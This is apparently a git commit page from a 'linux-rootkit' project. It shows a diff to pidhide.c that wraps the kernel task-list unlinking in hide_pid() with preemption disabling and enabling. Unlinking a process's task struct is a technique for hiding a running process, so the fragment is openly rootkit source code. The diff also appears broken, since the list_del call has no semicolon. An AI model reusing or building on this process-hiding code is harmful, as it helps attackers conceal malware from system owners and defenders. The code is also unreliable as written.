linux-rootkit

commit 995080029b6a4f0326f471c4cc5988882fb0aef4
parent 5f7ebe5975c67b90242c700be38202c41bbc8c34
Author: deurzen <m.deurzen@tum.de>
Date:   Mon, 25 Jan 2021 04:10:29 +0100

adds preempt {disabling,enabling}

Diffstat:
M
rootkit/src/pidhide.c
 | 
4
++++

1 file changed, 4 insertions(+), 0 deletions(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c
@@ -4,6 +4,8 @@
 #include <linux/proc_fs.h>
 #include <linux/sched/task.h>
 
+#include <linux/preempt.h>
+
 #include <linux/fs.h>
 #include <linux/fdtable.h>
 #include <linux/slab.h>
@@ -93,11 +95,13 @@ hide_pid(pid_t pid)
         return;
     }
 
+    preempt_disable();
     write_lock_irq(rwlock);
     list_del(&ts->tasks)
 	/* ts->tasks.prev->next = ts->tasks.next; */
 	/* ts->tasks.next->prev = ts->tasks.prev; */
     write_unlock_irq(rwlock);
+    preempt_enable();
 }
 
 void